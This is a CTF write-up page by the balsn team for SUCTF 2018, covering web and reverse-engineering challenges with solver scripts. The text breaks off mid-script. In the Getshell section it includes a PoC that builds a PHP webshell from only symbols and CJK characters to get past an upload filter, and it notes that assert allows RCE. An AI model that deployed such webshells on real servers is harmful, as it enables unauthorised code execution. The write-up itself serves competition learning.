<!DOCTYPE HTML>
<!-- This page is modified from the template https://www.codeply.com/go/7XYosZ7VH5 by Carol Skelly (@iatek). -->
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>SUCTF 2018</title>
    <link type="text/css" rel="stylesheet" href="../assets/css/github-markdown.css">
    <link type="text/css" rel="stylesheet" href="../assets/css/pilcrow.css">
    <link type="text/css" rel="stylesheet" href="../assets/css/hljs-github.min.css"/>
    <link type="text/css" rel="stylesheet" href="../assets/css/bootstrap-4.0.0-beta.3.min.css">
    <script type="text/javascript" src="../assets/js/jquery-3.3.1.slim.min.js"></script>
    <script type="text/javascript" src="../assets/js/bootstrap-4.0.0-beta.3.min.js"></script>
    <script type="text/javascript" src="../assets/js/popper-1.14.3.min.js"></script>
    <script type="text/javascript" src="../assets/js/mathjax-2.7.4/MathJax.js?config=TeX-MML-AM_CHTML"></script>
  </head>
  <style>
  body {
      padding-top: 56px;
  }

  .sticky-offset {
      top: 56px;
  }

  #body-row {
      margin-left:0;
      margin-right:0;
  }
  #sidebar-container {
      min-height: 100vh;   
      background-color: #333;
      padding: 0;
  }

  /* Sidebar sizes when expanded and expanded */
  .sidebar-expanded {
      width: 230px;
  }
  .sidebar-collapsed {
      width: 60px;
  }

  /* Menu item*/
  #sidebar-container .list-group a {
      height: 50px;
      color: white;
  }

  /* Submenu item*/
  #sidebar-container .list-group .sidebar-submenu a {
      height: 45px;
      padding-left: 60px;
  }
  .sidebar-submenu {
      font-size: 0.9rem;
  }

  /* Separators */
  .sidebar-separator-title {
      background-color: #333;
      height: 35px;
  }
  .sidebar-separator {
      background-color: #333;
      height: 25px;
  }
  .logo-separator {
      background-color: #333;    
      height: 60px;
  }


  /* 
   active scrollspy
  */
  .list-group-item.active {
    border-color: transparent;
    border-left: #e69138 solid 4px;
  }

  /* 
   anchor padding top
   https://stackoverflow.com/a/28824157
  */
  :target:before {
    content:"";
    display:block;
    height:56px; /* fixed header height*/
    margin:-56px 0 0; /* negative fixed header height */
  }
  </style>
  
  <script>
  // https://stackoverflow.com/a/48330533
  $(window).on('activate.bs.scrollspy', function (event) {
    let active_collapse = $($('.list-group-item.active').parents()[0]);
    $(".collapse").removeClass("show");
    active_collapse.addClass("show");

    let parent_menu = $('a[href="#' + active_collapse[0].id + '"]');
    $('a[href^="#submenu"]').css("border-left", "");
    parent_menu.css("border-left","#e69138 solid 4px");
  });

  // http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters
  MathJax.Hub.Config({
    tex2jax: {
      inlineMath: [['$','$'], ['\\(','\\)']],
      processEscapes: true
    }
  });
  </script>

  <body style="position: relative;" data-spy="scroll" data-target=".sidebar-submenu" data-offset="70">
    <nav class="navbar navbar-expand-md navbar-light bg-light fixed-top">
      <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarNavDropdown" aria-controls="navbarNavDropdown" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
      </button>
      <a class="navbar-brand" href="https://github.com/balsn/ctf_writeup">
        <img src="https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png" class="d-inline-block align-top" alt="" width="30" height="30">
        <span class="menu-collapsed">balsn / ctf_writeup</span>
      </a>
      <div class="collapse navbar-collapse" id="navbarNavDropdown">
        <ul class="navbar-nav my-2 my-lg-0">
            
            <li class="nav-item dropdown d-sm-block d-md-none">
              <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
              <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
        
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                web
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#anonymous-(bookgin)">anonymous-(bookgin)</a>
    
                <a class="dropdown-item" href="#getshell-(unsolved,-written-bookgin)">getshell-(unsolved,-written-bookgin)</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                rev
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#python-(sasdf)">python-(sasdf)</a>
    
                <a class="dropdown-item" href="#enigma-(sasdf)">enigma-(sasdf)</a>
    
                <a class="dropdown-item" href="#rubber-ducky-(sasdf)">rubber-ducky-(sasdf)</a>
    
                <a class="dropdown-item" href="#roughlike与期末大作业-(sces60107)">roughlike与期末大作业-(sces60107)</a>
    
                <a class="dropdown-item" href="#babyre-(sces60107)">babyre-(sces60107)</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                misc
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#tnt-(sasdf,-bookgin)">tnt-(sasdf,-bookgin)</a>
    
                <a class="dropdown-item" href="#sandgame-(b04902036)">sandgame-(b04902036)</a>
    
                <a class="dropdown-item" href="#cyclic-(b04902036)">cyclic-(b04902036)</a>
    
                <a class="dropdown-item" href="#game-(b04902036)">game-(b04902036)</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                pwn
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#note-(kevin47)">note-(kevin47)</a>
    
                <a class="dropdown-item" href="#heap-(b04902036)">heap-(b04902036)</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                crypto
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#enjoy-(b04902036)">enjoy-(b04902036)</a>
    
                <a class="dropdown-item" href="#rsa-good-(b04902036)">rsa-good-(b04902036)</a>
    
                <a class="dropdown-item" href="#magic-(sasdf)">magic-(sasdf)</a>
    
                <a class="dropdown-item" href="#rsa-(sasdf)">rsa-(sasdf)</a>
    
                <a class="dropdown-item" href="#pass-(sasdf)">pass-(sasdf)</a>
    
              </div>
            </li>
    
        </ul>
      </div>
      <div class="navbar-collapse collapse w-100 order-3 dual-collapse2">
        <ul class="navbar-nav ml-auto">
          <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
          <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
        </ul>
      </div>
    </nav>
    <div class="row" id="body-row">
      <div id="sidebar-container" class="sidebar-expanded d-none d-md-block col-2">
        <ul class="list-group sticky-top sticky-offset">
          
          <a href="#submenu0" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">web</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu0" class="collapse sidebar-submenu">
            <a href="#anonymous-(bookgin)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">anonymous-(bookgin)</span>
            </a>
    
<a href="#getshell-(unsolved,-written-bookgin)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">getshell-(unsolved,-written-bookgin)</span>
            </a>
    
          </div>
    
          <a href="#submenu1" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">rev</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu1" class="collapse sidebar-submenu">
            <a href="#python-(sasdf)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">python-(sasdf)</span>
            </a>
    
<a href="#enigma-(sasdf)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">enigma-(sasdf)</span>
            </a>
    
<a href="#rubber-ducky-(sasdf)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">rubber-ducky-(sasdf)</span>
            </a>
    
<a href="#roughlike与期末大作业-(sces60107)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">roughlike与期末大作业-(sces60107)</span>
            </a>
    
<a href="#babyre-(sces60107)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">babyre-(sces60107)</span>
            </a>
    
          </div>
    
          <a href="#submenu2" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">misc</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu2" class="collapse sidebar-submenu">
            <a href="#tnt-(sasdf,-bookgin)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">tnt-(sasdf,-bookgin)</span>
            </a>
    
<a href="#sandgame-(b04902036)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">sandgame-(b04902036)</span>
            </a>
    
<a href="#cyclic-(b04902036)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">cyclic-(b04902036)</span>
            </a>
    
<a href="#game-(b04902036)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">game-(b04902036)</span>
            </a>
    
          </div>
    
          <a href="#submenu3" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">pwn</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu3" class="collapse sidebar-submenu">
            <a href="#note-(kevin47)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">note-(kevin47)</span>
            </a>
    
<a href="#heap-(b04902036)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">heap-(b04902036)</span>
            </a>
    
          </div>
    
          <a href="#submenu4" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">crypto</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu4" class="collapse sidebar-submenu">
            <a href="#enjoy-(b04902036)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">enjoy-(b04902036)</span>
            </a>
    
<a href="#rsa-good-(b04902036)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">rsa-good-(b04902036)</span>
            </a>
    
<a href="#magic-(sasdf)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">magic-(sasdf)</span>
            </a>
    
<a href="#rsa-(sasdf)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">rsa-(sasdf)</span>
            </a>
    
<a href="#pass-(sasdf)" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">pass-(sasdf)</span>
            </a>
    
          </div>
    
        </ul>
      </div>
      <div class="col-10 py-3">
        <article class="markdown-body"><h1 id="suctf-2018"><a class="header-link" href="#suctf-2018"></a>SUCTF 2018</h1>

<h2 id="web"><a class="header-link" href="#web"></a>web</h2>
<h3 id="anonymous-(bookgin)"><a class="header-link" href="#anonymous-(bookgin)"></a>Anonymous (bookgin)</h3>
<ul class="list">
<li>PHP assigned a predictable function name <code>\x00lambda_%d</code> to an anonymous function</li>
<li>Refer to <a href="https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017">Oragne&#39;s challenges</a></li>
</ul>
<p>Exploit:</p>
<ol class="list">
<li>Make Apache fork, refer to <a href="https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2017/baby%5Eh-master-php-2017/fork.py">Orange&#39;s script</a>. It&#39;s intended to reset the index of lambda function. </li>
<li>Get flag via <code>http://web.suctf.asuri.org:81/?func_name=%00lambda_1</code></li>
</ol>
<h3 id="getshell-(unsolved,-written-bookgin)"><a class="header-link" href="#getshell-(unsolved,-written-bookgin)"></a>Getshell (unsolved, written bookgin)</h3>
<p>I&#39;m stuck in this problem for about a day, and I really desperate for the writeup. So let me put the reference first(respect!):</p>
<p>Reference:</p>
<ol class="list">
<li><a href="https://mp.weixin.qq.com/s?__biz=MzIxMDYyNTk3Nw==&amp;mid=2247484003&amp;idx=1&amp;sn=e27b4e770b3a16245026013545474056&amp;chksm=9760f6b5a0177fa35f21d0260a798a5b774644d45ab74af0e1e74eabbdd4520296a190ada01e&amp;mpshare=1&amp;scene=23&amp;srcid=0528VpCYK8o8P9iyzHwB9thX#rd">白帽100安全攻防实验室</a></li>
<li><a href="https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html">phithon&#39;s blog</a></li>
</ol>
<p>In this problem, you can upload filename with extension <code>php</code>. However, there are some constraint: except for the first 5 characters, the php shell can only contain <code>$().;=[]_~\n</code>.</p>
<p>Because the php <a href="http://php.net/manual/en/language.basic-syntax.phptags.php">short tag</a> is not enabled, the first 5 characters have to be <code>&lt;?php</code>. However, how to create a php shell with <code>$().;=[]_~\n</code> and unicode characters?</p>
<p>After a few tries, and taking advantage of PHP, I can only create strings &quot;Array&quot;, &quot;1&quot;, which is definitely not enough to create a webshell.</p>
<p>The key point is:</p>
<pre class="hljs"><code>php &gt; var_dump(臺[<span class="hljs-number">1</span>]);
PHP Warning:  <span class="hljs-keyword">Use</span> <span class="hljs-title">of</span> <span class="hljs-title">undefined</span> <span class="hljs-title">constant</span> 臺 - <span class="hljs-title">assumed</span> '臺' (<span class="hljs-title">this</span> <span class="hljs-title">will</span> <span class="hljs-title">throw</span> <span class="hljs-title">an</span> <span class="hljs-title">Error</span> <span class="hljs-title">in</span> <span class="hljs-title">a</span> <span class="hljs-title">future</span> <span class="hljs-title">version</span> <span class="hljs-title">of</span> <span class="hljs-title">PHP</span>) <span class="hljs-title">in</span> <span class="hljs-title">php</span> <span class="hljs-title">shell</span> <span class="hljs-title">code</span> <span class="hljs-title">on</span> <span class="hljs-title">line</span> 1
<span class="hljs-title">string</span>(1) "�"</code></pre><p>Although the unicode character 臺 (which means Tai in Chinese) is not put in quotes, it can still be interpreted. Thank you, PHP!</p>
<p>But the unicode character doesn&#39;t contain any ASCII character in case of character set confusion. We can utilize <code>~</code> to bypass this.</p>
<p>Here is a PoC. The challenge server uses PHP 5, so <code>assert</code> can be used as a dynamic function to RCE.</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment"># Python 3.6.5</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">toUnicode</span><span class="hljs-params">(c)</span>:</span>
    byte = <span class="hljs-number">255</span>-ord(c)
    <span class="hljs-keyword">return</span> bytes([<span class="hljs-number">0xe4</span>, byte, <span class="hljs-number">0x80</span>]).decode()

print(<span class="hljs-string">'$_=_==_;'</span>) <span class="hljs-comment"># True, because NULL == NULL</span>
print(<span class="hljs-string">'$__='</span> + <span class="hljs-string">'.'</span>.join([f<span class="hljs-string">'~{toUnicode(c)}[$_]'</span> <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> <span class="hljs-string">'printf'</span>]) + <span class="hljs-string">';'</span>) <span class="hljs-comment"># string(4) "printf"</span>
print(<span class="hljs-string">'$___='</span> + <span class="hljs-string">'.'</span>.join([f<span class="hljs-string">'~{toUnicode(c)}[$_]'</span> <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> <span class="hljs-string">'_GET'</span>]) + <span class="hljs-string">';'</span>) <span class="hljs-comment"># string(4) "_GET"</span>
print(f<span class="hljs-string">'$__($$___[$_]);'</span>) <span class="hljs-comment"># $$___[$_] means $_GET["1"]</span></code></pre><pre class="hljs"><code>$_=_==_;
$__=~䏀[$_].~䍀[$_].~䖀[$_].~䑀[$_].~䋀[$_].~䙀[$_];
$___=~䠀[$_].~一[$_].~亀[$_].~䫀[$_];
$__($$___[$_]); <span class="hljs-comment">// printf($_GET["1"]);</span></code></pre><h2 id="rev"><a class="header-link" href="#rev"></a>rev</h2>
<h3 id="python-(sasdf)"><a class="header-link" href="#python-(sasdf)"></a>python (sasdf)</h3>
<p>We construct the pyc from <code>opcode.txt</code> and then decompile with <code>uncompyle6</code> (If you are interestring in how to construct pyc, google for types.CodeType and marshal), and then we have following code:</p>
<pre class="hljs"><code><span class="hljs-keyword">from</span> ctypes <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> libnum <span class="hljs-keyword">import</span> n2s, s2n
<span class="hljs-keyword">import</span> binascii <span class="hljs-keyword">as</span> b
key = <span class="hljs-string">'********'</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">aaaa</span><span class="hljs-params">(key)</span>:</span>
    a = <span class="hljs-keyword">lambda</span> a: b.hexlify(a)
    <span class="hljs-keyword">return</span> (<span class="hljs-string">''</span>).join((a(i) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> key))

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">aa</span><span class="hljs-params">(key)</span>:</span>
    a = cdll.LoadLibrary(<span class="hljs-string">'./a'</span>).a
    a(key)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">aaaaa</span><span class="hljs-params">(a)</span>:</span>
    <span class="hljs-keyword">return</span> s2n(a)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">aaa</span><span class="hljs-params">(key)</span>:</span>
    a = cdll.LoadLibrary(<span class="hljs-string">'./a'</span>).aa
    a(key)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">aaaaaa</span><span class="hljs-params">()</span>:</span>
    aaa(aaaa(key))

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
    aaaaaa()</code></pre><p>The code is wrong, there&#39;s no function <code>aa</code> in the library. It&#39;s not decompilation error, the provided file is wrong :( However, we know that the encryption function is called with hex-encoded key from this python code. Reverse the library we came up with following decryption code.</p>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span><span class="hljs-params">(enc, key)</span>:</span>
    key = binascii.hexlify(key.encode(<span class="hljs-string">'ascii'</span>))
    key = list(key * (<span class="hljs-number">256</span>//len(key)+<span class="hljs-number">1</span>))[:<span class="hljs-number">256</span>]
    sbox = list(range(<span class="hljs-number">256</span>))

    state = <span class="hljs-number">0</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">256</span>):
        state = (key[i] + sbox[i] + state) &amp; <span class="hljs-number">0xff</span>
        sbox[i], sbox[state] = sbox[state], sbox[i]

    a, b, r = <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-string">''</span>
    <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> enc:
        a = (a + <span class="hljs-number">1</span>) &amp; <span class="hljs-number">0xff</span>
        b = (b + sbox[a]) &amp; <span class="hljs-number">0xff</span>
        sbox[a], sbox[b] = sbox[b], sbox[a]
        k = (sbox[a] + sbox[b]) &amp; <span class="hljs-number">0xff</span>
        r += chr(c ^ sbox[k])
    <span class="hljs-keyword">return</span> r</code></pre><p>But the key is not <code>********</code>, search the key using rockyou for printable plaintext to get the flag.</p>
<h3 id="enigma-(sasdf)"><a class="header-link" href="#enigma-(sasdf)"></a>Enigma (sasdf)</h3>
<p>A reverse challenge that encrypt our input then compare to encrypted flag stored in the binary.</p>
<pre class="hljs"><code><span class="hljs-keyword">with</span> open(<span class="hljs-string">'Enigma'</span>, <span class="hljs-string">'rb'</span>) <span class="hljs-keyword">as</span> f:
    input_enc = list(f.read()[<span class="hljs-number">0x30a0</span>:][:<span class="hljs-number">36</span>])

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">bit</span><span class="hljs-params">(a, b)</span>:</span>
    <span class="hljs-keyword">return</span> (a &gt;&gt; b) &amp; <span class="hljs-number">1</span>

<span class="hljs-comment"># sub_11F0</span>
state = <span class="hljs-number">0x5F3759DF</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">9</span>):
    v16 = bit(state, <span class="hljs-number">0</span>) ^ bit(state, <span class="hljs-number">2</span>) ^ bit(state, <span class="hljs-number">3</span>) ^ bit(state, <span class="hljs-number">5</span>) ^ bit(state, <span class="hljs-number">7</span>) ^ bit(state, <span class="hljs-number">31</span>)
    state = (state &gt;&gt; <span class="hljs-number">1</span>) | (v16 &lt;&lt; <span class="hljs-number">31</span>)
    <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> range(<span class="hljs-number">4</span>):
        input_enc[i*<span class="hljs-number">4</span> + j] ^= (state &gt;&gt; (j*<span class="hljs-number">8</span>)) &amp; <span class="hljs-number">0xff</span>

<span class="hljs-comment"># sub_F1E</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">partialRev</span><span class="hljs-params">(c)</span>:</span>
    c = bin(c)[<span class="hljs-number">2</span>:].rjust(<span class="hljs-number">8</span>, <span class="hljs-string">'0'</span>)
    c = list(map(int, c))
    r = list(reversed(c))
    c = r[:<span class="hljs-number">3</span>] + c[<span class="hljs-number">3</span>:<span class="hljs-number">5</span>] + r[<span class="hljs-number">5</span>:]
    <span class="hljs-keyword">return</span> int(<span class="hljs-string">''</span>.join(map(str, c)), <span class="hljs-number">2</span>)
input_enc = list(map(partialRev, input_enc))

<span class="hljs-comment"># sub_124F</span>
wire = [
    [ <span class="hljs-number">0x31</span>, <span class="hljs-number">0x62</span>, <span class="hljs-number">0x93</span>, <span class="hljs-number">0xC4</span> ],
    [ <span class="hljs-number">0x21</span>, <span class="hljs-number">0x42</span>, <span class="hljs-number">0x63</span>, <span class="hljs-number">0x84</span> ],
    [ <span class="hljs-number">0x3D</span>, <span class="hljs-number">0x7A</span>, <span class="hljs-number">0xB7</span>, <span class="hljs-number">0xF4</span> ],
    ]

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_mix</span><span class="hljs-params">(a1, a2, a3)</span>:</span>
    a5 = a3 ^ a2 ^ a1
    a4 = a2 &amp; a1 | a3 &amp; (a2 | a1)
    <span class="hljs-keyword">return</span> (a4, a5)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">mix</span><span class="hljs-params">(a2, v16, a4)</span>:</span>
    bits = []
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">8</span>):
        v4 = bit(a2, i)
        v5 = bit(v16, i)
        a4, a5 = _mix(v5, v4, a4)
        bits.insert(<span class="hljs-number">0</span>, a5)
    <span class="hljs-keyword">return</span> int(<span class="hljs-string">''</span>.join(map(str, bits)), <span class="hljs-number">2</span>), a4

flag = []
<span class="hljs-keyword">for</span> i, t <span class="hljs-keyword">in</span> enumerate(input_enc):
    <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> range(<span class="hljs-number">32</span>, <span class="hljs-number">128</span>):
        a4 = <span class="hljs-number">0</span>
        v16 = c

        a2 = wire[<span class="hljs-number">0</span>][i%<span class="hljs-number">4</span>]
        v16, a4 = mix(a2, v16, a4)

        a2 = wire[<span class="hljs-number">1</span>][(i//<span class="hljs-number">4</span>%<span class="hljs-number">4</span>)]
        v16, a4 = mix(a2, v16, a4)

        a2 = wire[<span class="hljs-number">2</span>][i//<span class="hljs-number">16</span>]
        v16, a4 = mix(a2, v16, a4)
        <span class="hljs-keyword">if</span> v16 == t:
            flag.append(c)
            <span class="hljs-keyword">break</span>
print(bytes(flag).decode(<span class="hljs-string">'ascii'</span>))</code></pre><h3 id="rubber-ducky-(sasdf)"><a class="header-link" href="#rubber-ducky-(sasdf)"></a>Rubber Ducky (sasdf)</h3>
<p>The challenge provide a intel hex file, after convert to binary, we can find a string <code>Arduino Micro</code> at the bottom. The bootloader (i.e. the part that has 20 hex per line) is concatenated after the program. It&#39;s not modified so we can strip it off.</p>
<p>As the challenge hex in HITB CTF we solved before, we guess the program is typing some message using Keyboard library. Compiled sample code with <code>Keyboard::press</code> and <code>Keyboard::release</code>, and then use BinDiff to bring symbols back. The program is typing <code>rundll32 url.dll,OpenURL XXXXXX</code>, where URL is dynamically generated. We use <code>simavr</code> to get the URL. The simulator cannot go through initialization process, so we need to skip some code. It generate different (i.e. wrong) URLs depends on which part is skipped. However, after multiple run, we have:</p>
<pre class="hljs"><code><span class="hljs-string">http:</span><span class="hljs-comment">//qn-suctf.summershrimp.com/Uz</span>
<span class="hljs-string">http:</span><span class="hljs-comment">//qn-suctf.summershrimXXcom/UzNjcmU3R2</span>
<span class="hljs-string">http:</span><span class="hljs-comment">//qn-suctf.summershrimp.XXm/UzNjcmU3R2FSZG</span>
<span class="hljs-string">http:</span><span class="hljs-comment">//qn-suctf.summershrimp.XXm/UzNjcmU3R2FSZGUO.zip</span>
<span class="hljs-string">http:</span><span class="hljs-comment">//qn-suctf.summershrimp.XXm/UzNjcmU3RAFSZGVO.zip</span>

Manual reconstructed <span class="hljs-string">URL:</span>
<span class="hljs-string">http:</span><span class="hljs-comment">//qn-suctf.summershrimp.com/UzNjcmU3R2FSZGVO.zip</span></code></pre><p>The zip contains a windows exe, which is a PyInstaller file according to it&#39;s icon. Extract with <code>pyinstxtractor</code>. The file <code>RubberDuckey</code> is a serialized marshal file. Add magic bytes and moddate to convert to pyc. then decompile with <code>uncompyle6</code>.</p>
<p>Finally, we got the flag with following decryption code:</p>
<pre class="hljs"><code>cipher = <span class="hljs-string">'YVGQF|1mooH.hXk.SebfQU`^WL)J[\\(`'</span>

res = <span class="hljs-string">''</span>
<span class="hljs-keyword">for</span> i, t <span class="hljs-keyword">in</span> enumerate(cipher):
    <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> range(<span class="hljs-number">32</span>, <span class="hljs-number">128</span>):
        cc = c + c % <span class="hljs-number">4</span> * <span class="hljs-number">2</span> - i
        <span class="hljs-keyword">if</span> cc == ord(t):
            res += chr(c)
            <span class="hljs-keyword">break</span>
print(res)</code></pre><h3 id="roughlike与期末大作业-(sces60107)"><a class="header-link" href="#roughlike与期末大作业-(sces60107)"></a>RoughLike与期末大作业 (sces60107)</h3>
<ul class="list">
<li>We are given an unity game</li>
<li><code>strings test_data/level1</code> you can find the second part of flag<code>Wow,You Find Second Half Flag _70_5uc7F</code></li>
<li>There is a <code>First.xml</code> located at <code>test_Data/Managed</code>.
It mention a dll file <code>Assembly-CSharp.dll</code> that has been Dotfuscated. After decompiling <code>Assembly-CSharp.dll</code>, you can find out that this game use a decrypt funcion before loading assetbundles to memory</li>
<li>Use de4dot on Assembly-CSharp.dll. Then you can know that the decrypt function is actually base64-decoding with custom table <code>QRSTUVWXYZABCDEFGHIJKLMNOPabcdefghijklmnopqrstuvwxyz0123456789+/</code></li>
<li>The assetbundles are located at <code>test_Data/StreamingAssets/bundles</code>. After decoding those file, we can use <a href="https://7daystodie.com/forums/showthread.php?22675-Unity-Assets-Bundle-Extractor">Unity Assets Bundle Extractor</a></li>
<li>The first part of flag was hidden in <code>test_Data/StreamingAssets/bundles/WeaponYourself.assetbundle</code><pre class="hljs"><code>  <span class="hljs-attr">name</span> = <span class="hljs-string">"Flag"</span>,
  <span class="hljs-attr">ID</span> = <span class="hljs-string">"WYS_07"</span>,
  <span class="hljs-attr">type</span> = <span class="hljs-number">8</span>,
  <span class="hljs-attr">comment</span> = <span class="hljs-string">"Hey, look at this one ?!V2VMQzBtRQ=="</span>,
  <span class="hljs-attr">using_times</span> = <span class="hljs-number">1</span>,
  <span class="hljs-attr">effect</span> = <span class="hljs-string">"CannotUse"</span>,
  <span class="hljs-attr">fading_time</span> = <span class="hljs-number">0</span>,
  <span class="hljs-attr">use_direction</span> = <span class="hljs-literal">false</span></code></pre></li>
<li><p>The complete flag is <code>SUCTF{WeLC0mE_70_5uc7F}</code></p>
<h3 id="babyre-(sces60107)"><a class="header-link" href="#babyre-(sces60107)"></a>babyre (sces60107)</h3>
</li>
<li><p>A mips 32-bit binary</p>
</li>
<li>Custom base64 with a custom table <code>R9Ly6NoJvsIPnWhETYtHe4Sdl+MbGujaZpk102wKCr7/ODg5zXAFqQfxBicV3m8U</code></li>
<li>The base64-encoded flag <code>eQ4y46+VufZzdFNFdx0zudsa+yY0+J2m</code></li>
<li>After decoding, the flag is <code>SUCTF{wh0_1s_y0ur_d4ddy}</code></li>
<li>Script:
<code>`</code>python=
a=open(&quot;babyre&quot;).read()</li>
</ul>
<p>flag=&quot;&quot;
flag2=&quot;&quot;
for i in range(0x7b3,0xba4,0x10):
  flag+=a[i]
for i in range(0x107b,0x1364,24):
  flag2+=a[i]
